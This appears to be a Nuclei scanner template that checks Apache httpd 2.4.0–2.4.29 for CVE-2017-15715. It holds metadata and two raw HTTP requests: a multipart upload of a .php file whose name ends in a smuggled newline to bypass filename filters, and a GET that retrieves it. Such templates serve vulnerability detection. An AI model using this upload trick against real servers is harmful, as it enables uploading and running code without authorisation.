id: CVE-2017-15715

info:
  name: Apache Arbitrary File Upload
  author: geeknik
  severity: high
  description: In Apache httpd 2.4.0 to 2.4.29, the expression specified in <FilesMatch> could match '$' to a newline character in a malicious filename, rather than matching only the end of the filename. This could
    be exploited in environments where uploads of some files are externally blocked, but only by matching the trailing portion of the filename.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2017-15715
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2017-15715
    cwe-id: CWE-20
  tags: cve,cve2017,apache,httpd,fileupload

requests:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKc8fBVDo558U4hbJ

        ------WebKitFormBoundaryKc8fBVDo558U4hbJ
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"

        {{randstr_1}}

        ------WebKitFormBoundaryKc8fBVDo558U4hbJ
        Content-Disposition: form-data; name="name"

        {{randstr}}.php\x0A
        ------WebKitFormBoundaryKc8fBVDo558U4hbJ--

      - |
        GET /{{randstr}}.php\x0A HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip,deflate
        Accept: */*

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "{{randstr_1}}")'